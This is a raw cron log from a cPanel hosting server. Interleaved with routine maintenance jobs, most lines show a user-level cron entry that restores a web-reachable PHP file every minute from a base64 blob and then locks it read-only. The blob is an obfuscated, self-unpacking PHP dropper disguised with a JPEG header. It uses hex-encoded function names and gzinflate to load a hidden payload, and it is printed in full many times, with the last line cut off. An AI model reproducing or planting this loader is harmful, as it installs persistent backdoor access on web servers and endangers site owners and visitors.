"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:09:01 server CROND[30800]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 20:10:01 server CROND[30866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:10:01 server CROND[30867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 20:10:01 server CROND[30868]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:10:01 server CROND[30869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:11:01 server CROND[30988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:12:01 server CROND[31053]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 20:12:01 server CROND[31055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:13:01 server CROND[31163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:14:01 server CROND[31325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:15:01 server CROND[31385]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:15:01 server CROND[31386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:15:01 server CROND[31387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:15:01 server CROND[31388]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 20:16:01 server CROND[31568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:17:01 server CROND[31643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:18:01 server CROND[31721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:19:01 server CROND[31891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:20:01 server CROND[31962]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 20:20:01 server CROND[31964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 20:20:01 server CROND[31963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:20:01 server CROND[31967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:20:01 server CROND[31966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:21:02 server CROND[32084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:22:01 server CROND[32133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUp